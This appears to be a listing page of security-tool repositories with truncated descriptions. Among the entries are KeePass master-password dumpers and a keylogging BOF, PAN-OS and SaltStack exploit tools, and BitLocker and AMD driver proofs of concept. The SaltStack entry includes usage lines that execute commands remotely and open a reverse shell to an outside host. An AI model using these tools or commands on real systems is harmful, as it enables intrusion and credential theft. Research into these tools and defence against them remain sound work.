scannerl

Scannerl Scannerl is a modular distributed fingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning. Scannerl wor...

dynmx

dynmx Prototype dynmx spoken dynamics is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces so called function logs originating from malware sandboxes. Hence,...

ff-password-exporter

FF Password Exporter It can be difficult to export your passwords from Firefox. Since version 57 of Firefox Quantum existing password export addons no longer work. Mozilla provides no other official alternatives. FF Password Exporter makes it quick and easy to export all of your passwords from...

CVE-2023-20564

CVE-2023-20564 - AMD Ryzen Master Driver 물리 메모리 접근 PoC 개요 이 저장소에는 AMD Ryzen Master Driver의 취약점 CVE-2023-20564 를 시연하는 개념 증명PoC 이 포함되어 있습니다. 이 취약점으로 인해 권한이 없는 사용자가 임의의 물리 메모리를 읽고 쓸 수 있으며, 잠재적인 권한 상승 및 시스템 손상으로 이어질 수 있습니다. 취약점 세부 정보 CVE ID : CVE-2023-20564 CVSS 점수 : 8.8 높음 공급업체 : AMD 제품 : AMD Ryzen...

avml

AVML Acquire Volatile Memory for Linux Summary A portable volatile memory acquisition tool for Linux. AVML is an X8664 userland volatile memory acquisition tool written in Rust, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distributi...

KeePass-CVE-2023-32784-Exploitation-and-Defense

KeePass 메모리 누수 취약점 CVE-2023-32784: 공격 및 방어 아키텍처 목표 KeePass Password Safe v2.53의 CVE-2023-32784 취약점을 분석하고, 메모리 덤프를 통한 마스터 비밀번호 추출을 시연하며, 강력한 탐지 및 완화 통제를 설계합니다. 취약점 KeePass는 마스터 비밀번호 입력을 위해 맞춤형 SecureTextBoxEx를 사용하며, 입력된 문자마다 프로세스 주소 공간에 문자열 조각을 남깁니다. 실행 중인 프로세스의 .DMP 파일을 캡처하면 이러한 조각들을 조합하여 평문 비밀번호...

CVE-2023-32784

keepass-dump-masterkey 사용법 python3 poc.py 미리보기 참고로 덤프에서는 첫 번째 문자를 찾을 수 없으며, 두 번째 문자에 대해서는 스크립트가 몇 가지 가능성만 제공합니다. 어쨌든 아래 스크립트를 사용하여 2자에 대해 브루트포스를 실행하는 것을 권장합니다. root@kitploit: !/bin/sh Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt wordlist with 2 char while read i do echo "Using password:...

AmdRyzenMasterCheat

ECPRO-LAN 안티 치트: FACEIT, ESEA 커스텀 버전 2019년 초 - 2020년 후반. R.I.P. https://h0mbre.github.io/RyzenMasterCVE/ 요구사항: 모든 업데이트가 적용된 Windows 10 Enterprise 1607 LTSB AMD Ryzen CPU 마더보드 B350-B450 B550 클라이언트는 버그가 있음 Logitech GHUB 설치 마우스 입력용 구세대 Ryzen 프로세서는 AmdRyzenMaster 드라이버 버전이 다를 수 있습니다 1.3.0.0 그런 다음 다음을...

bitlocker-bypass-research

BitLocker バイパス研究 個人セキュリティ研究プロジェクト — CVE-2023-21563 BitPixie を使用した BitLocker フルディスク暗号化のバイパス。 これは何か 2025年10月、私はBitLockerが有効な企業ノートパソコンに対して物理的なラップトップ復旧評価を実施しました。従業員がパスワードを忘れ、回復キーも利用できませんでした。既知の脆弱性（CVE-2023-21563）を使用して、メモリからボリュームマスターキーを抽出し、BitLockerをバイパスして、システムへの完全なアクセスを復旧しました。 使用したもの CVE-2023-21563 —...

PanOsExploitMultitool

PanOsExploitMultitool CVE-2024-0012 및 CVE-2024-9474 취약점에 영향을 받는 Palo Alto PAN-OS 시스템을 위한 익스플로잇 및 포스트 익스플로잇 멀티툴 CVE-2024-0012와 CVE-2024-9474의 원격 코드 실행 취약점을 초기에 익스플로잇하는 과정에서 셸을 획득하고 여러 패스워드 필드에 이상한 문자열이 포함된 설정 파일들을 식별하기 시작했습니다. 이것들이 분명히 일반적인 해시 형식이 아니었기 때문에, 제 팀과 저는 이 문제를 조사하기 시작했고 곧 ThreatLabs...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

CVE-2026-85410

The Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.2.2. This is due to the plugin not properly verifying that a user is...

EUVD-2026-82793

The Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.2.2. This is due to the plugin not properly verifying that a user is...

CVE-2026-85410

The Master Addons for Elementor WordPress plugin is vulnerable to an authorization bypass in versions up to and including 3.2.2 . The plugin fails to properly verify user permissions, and the jltma_popup custom post type is registered with capability_type='post', making its admin edit screen acce...

keelog-bof

KeeLog 비동기 BOF로, 잠금 해제 프롬프트 창을 모니터링하여 KeePass 마스터 비밀번호를 캡처합니다. 잠긴 KeePass 데이터베이스가 감지되면 낮은 수준의 키보드 후크가 설치되고, 제출, 취소 또는 닫힘으로 프롬프트 창이 사라질 때까지 키 입력이 캡처됩니다. 캡처된 버퍼는 운영자에게 반환되어 자동으로 마스터 비밀번호로 재구성됩니다. !Important 이 BOF는 에이전트를 차단하지 않고 작동하려면 비동기 오브젝트 파일 로딩 기능이 필요합니다. 이러한 기능은 Conquest 프레임워크에서 제공합니다. 작동 방식 이...

swarm

swarm v0.6.0 English | 中文. Swarm is an open source modular distributed penetration testing Tool that use distributed task queue to implement communication in the master-slave mode system and use MongoDB for data storage. It consists of a distributed framework and function modules. The function...

keepass_dump

Keepass-Dumper 이는 CVE-2023-32784에 대한 제 PoC 구현입니다. 제 버전은 @vdohney의 PoC를 파이썬으로 포팅한 것으로, 몇 가지 변경 사항과 추가 기능이 포함되어 있습니다. 변경 사항 한 가지 변경 사항은 덤프 파일에서 찾을 수 있는 알려진 문자열을 사용하여 마스터키 문자의 위치를 더 정확하게 찾아가는 것입니다. 이로 인해 잘못된 긍정 문자false positive가 줄어들고 파일 스캔 시간이 크게 단축됩니다. 덤프 파일에서 문자열이 발견되지 않으면 스캔은 처음부터 시작됩니다. 이 옵션은...

templates

보고서 템플릿 디렉터리 구조 참고 사항: generate-directories.py 스크립트는 GitHub에서 VRT 구조의 현재 최신 버전을 가져와 누락된 디렉터리를 생성합니다. VRT에서 제거된 항목을 기준으로 디렉터리를 삭제하거나 이름을 바꾸지는 않습니다. 스크립트는 표준 항목 이름을 따르며 VRT id 필드가 제공하는 밑줄과 대소문자를 유지합니다. 이 저장소 작업하기 이 저장소에는 'Protected Master'가 활성화되어 있습니다. 즉, 프로젝트 관리자만 Pull Request를 통해 master 브랜치에 커밋할 ...

qubes-core-admin

Qubes 코어, 버전 3 이것은 Qubes OS 코어의 마스터 브랜치입니다. API 문서는 다음에서 확인할 수 있습니다: https://dev.qubes-os.org/projects/core-admin/en/latest/...

KeePass-dump-py

KeePass-dump-py KeePass 2.X 마스터 비밀번호 덤퍼 CVE-2023-32784 POC를 Python으로 재작성한 것입니다. 취약점 및 공격 과정에 대한 자세한 내용은 원본 POC를 참조하십시오. 이 스크립트의 기능: 1. KeePass 프로세스가 실행 중인지 확인하고, 그렇지 않으면 KeePass를 실행합니다. 2. WerFault를 사용하여 KeePass 프로세스를 덤프합니다 LSASSY에서 가져온 코드 스니펫 사용. 3. 프로세스 덤프에서 비밀번호를 검색합니다...